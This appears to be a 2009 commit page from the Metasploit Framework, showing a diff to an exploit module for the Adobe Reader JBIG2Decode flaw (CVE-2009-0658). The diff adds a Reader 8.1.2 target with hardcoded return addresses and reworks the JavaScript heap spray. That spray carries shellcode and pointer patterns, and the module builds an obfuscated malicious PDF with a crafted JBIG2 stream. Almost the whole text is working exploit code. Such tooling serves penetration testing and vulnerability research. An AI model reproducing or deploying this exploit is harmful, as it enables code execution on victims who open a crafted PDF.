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metasploit-framework
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Add support for Reader 8.1.2, increase heapspray reliability 

git-svn-id: file:///home/svn/framework3/trunk@6400 4d416f70-5f16-0410-b530-b9f4589650da
unstable
natron 2009-03-28 02:40:27 +00:00
parent 41960b0300
commit 3b704ecf46
1 changed files with 27 additions and 47 deletions
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74
modules/exploits/windows/fileformat/adobe_jbig2decode.rb
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@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote
'References' =>
[
[ 'CVE' , '2009-0658' ],
[ 'blog', 'http://bl4cksecurity.blogspot.com/2009/03/adobe-acrobatreader-universal-exploit.html'],
[ 'URL', 'http://bl4cksecurity.blogspot.com/2009/03/adobe-acrobatreader-universal-exploit.html'],
],
'DefaultOptions' =>
{
@ -46,8 +46,9 @@ class Metasploit3 < Msf::Exploit::Remote
},
'Platform' => 'win',
'Targets' =>
[
[ 'Adobe Reader v9.0.0 (Windows XP SP3 English)', { 'Ret' => '' } ],
[
[ 'Adobe Reader v9.0.0 (Windows XP SP3 English)', { 'Ret' => 0x0166B550 } ], # Ret * 5 == 0x07018A90 (BIB.dll)
[ 'Adobe Reader v8.1.2 (Windows XP SP2 English)', { 'Ret' => 0x9B004870 } ], # Ret * 5 == 0x07017A30 (BIB.dll)
],
'DisclosureDate' => 'Feb 2009',
'DefaultTarget' => 0))
@ -61,11 +62,10 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
ptroverwrite = Rex::Text.to_unescape([target.ret].pack("V"))
nops = Rex::Text.to_unescape(make_nops(4))
pointerPattern1 = Rex::Text.to_unescape("\x00\x00\x00\x00\x90\x8a\x01\x07")
pointerPattern2 = Rex::Text.to_unescape("\x90\x8a\x01\x07\x00\x00\x00\x00")
# Randomize some variables
rand1 = rand_text_alpha(rand(50) + 1)
@ -84,16 +84,12 @@ class Metasploit3 < Msf::Exploit::Remote
rand14 = rand_text_alpha(rand(50) + 1)
rand15 = rand_text_alpha(rand(50) + 1)
rand16 = rand_text_alpha(rand(50) + 1)
rand17 = rand_text_alpha(rand(50) + 1)
rand18 = rand_text_alpha(rand(50) + 1)
rand19 = rand_text_alpha(rand(50) + 1)
rand20 = rand_text_alpha(rand(50) + 1)
script = %Q|
var #{rand1} = "";
var #{rand2} = "";
var #{rand3} = unescape("#{shellcode}");
var #{rand4} ="";
var #{rand4} = "";
for (#{rand5}=128;#{rand5}>=0;--#{rand5}) #{rand4} += unescape("#{nops}");
#{rand6} = #{rand4} + #{rand3};
@ -103,38 +99,24 @@ class Metasploit3 < Msf::Exploit::Remote
while (#{rand7}.length<#{rand9}) #{rand7}+=#{rand7};
#{rand10} = #{rand7}.substring(0, #{rand9});
#{rand11} = #{rand7}.substring(0, #{rand7}.length-#{rand9});
while(#{rand11}.length+#{rand9} < 0x43500) #{rand11} = #{rand11}+#{rand11}+#{rand10};
while(#{rand11}.length+#{rand9} < 0x40000) #{rand11} = #{rand11}+#{rand11}+#{rand10};
#{rand12} = new Array();
for (#{rand5}=0;#{rand5}<35;#{rand5}++) #{rand12}[#{rand5}] = #{rand11} + #{rand6};
for (#{rand5}=64;#{rand5}>=0;--#{rand5}) #{rand2} += unescape("#{pointerPattern1}");
for (#{rand5}=0;#{rand5}<100;#{rand5}++) #{rand12}[#{rand5}] = #{rand11} + #{rand6};
for (#{rand5}=142;#{rand5}>=0;--#{rand5}) #{rand2} += unescape("#{ptroverwrite}");
#{rand13} = #{rand2}.length + 20
while (#{rand2}.length < #{rand13}) #{rand2} += #{rand2};
#{rand14} = #{rand2}.substring(0, #{rand13});
#{rand15} = #{rand2}.substring(0, #{rand2}.length-#{rand13});
while(#{rand15}.length+#{rand13} < 0x43500) #{rand15} = #{rand15}+#{rand15}+#{rand14};
while(#{rand15}.length+#{rand13} < 0x40000) #{rand15} = #{rand15}+#{rand15}+#{rand14};
#{rand16} = new Array();
for (#{rand5}=0;#{rand5}<35;#{rand5}++) #{rand16}[#{rand5}] = #{rand15} + #{rand2};
for (#{rand5}=64;#{rand5}>=0;--#{rand5}) #{rand1}+= unescape("#{pointerPattern2}");
#{rand17} = #{rand1}.length + 20
while (#{rand1}.length < #{rand17}) #{rand1}+=#{rand1};
#{rand18} = #{rand1}.substring(0, #{rand17});
#{rand19} = #{rand1}.substring(0,#{rand1}.length-#{rand17});
while(#{rand19}.length+#{rand17} < 0x43500) #{rand19} = #{rand19}+#{rand19}+#{rand18};
#{rand20} = new Array();
for (#{rand5}=0;#{rand5}<35;#{rand5}++) #{rand20}[#{rand5}] = #{rand19} +#{rand1};
|
eaxptr = "\x00\x20\x50\xff" # CALL DWORD PTR DS:[EAX+20]
eaxp20ptr = "\x05\x73\x00\x20" # The address eaxptr will call : ~0x05837df8 : shellcode location
modifier = [ "\x00\x2f\xaa\x14" , # EAX 0x002faa14 will write to ~0x075fffff : heap spray pointer pattern #1
"\x00\x54\xc3\xae" ] # EAX 0x0054c3ae will write to ~0x0a450000 : heap spray pointer pattern #2
for (#{rand5}=0;#{rand5}<125;#{rand5}++) #{rand16}[#{rand5}] = #{rand15} + #{rand2};
|
eaxptr = "\x00\x20\x50\xff" # CALL DWORD PTR DS:[EAX+20]
eaxp20ptr = "\x05\x69\x50\x50" # Shellcode location called by CALL DWORD PTR DS:[EAX+20]
modifier = "\x00\x5d\x00\x00"
jbig2stream = Array.new
(0..1).each { |i|
jbig2stream[i] = eaxptr + "\x40\x00" + modifier[i] + eaxp20ptr
}
jbig2stream = eaxptr + "\x40\x00" + modifier + eaxp20ptr
# Create the pdf
pdf = make_pdf(script, jbig2stream)
@ -219,17 +201,15 @@ class Metasploit3 < Msf::Exploit::Remote
pdf << endobj
xref << pdf.length
pdf << nObfu(" ") << ioDef(7) << nObfu(" << /Type /Page /Parent ") << ioRef(3) << " /Contents [ " << ioRef(8) << nObfu(" ") << ioRef(9) << " ] >> " << eol
pdf << nObfu(" ") << ioDef(7) << nObfu(" << /Type /Page /Parent ") << ioRef(3) << " /Contents [ " << ioRef(8) << " ] >> " << eol
(0..1).each { |i|
xref << pdf.length
compressed = Zlib::Deflate.deflate(jbig2[i].unpack('H*').to_s, rand(8)+1) # Convert to ASCII hex, then deflate using random 1-9 compression
pdf << nObfu(" ") << ioDef(8 + i) << nObfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode /JBIG2Decode ] >> " % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj
}
xref << pdf.length
compressed = Zlib::Deflate.deflate(jbig2.unpack('H*').to_s, rand(8)+1) # Convert to ASCII hex, then deflate using random 1-9 compression
pdf << nObfu(" ") << ioDef(8) << nObfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode /JBIG2Decode ] >> " % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj
xrefPosition = pdf.length
pdf << "xref" << eol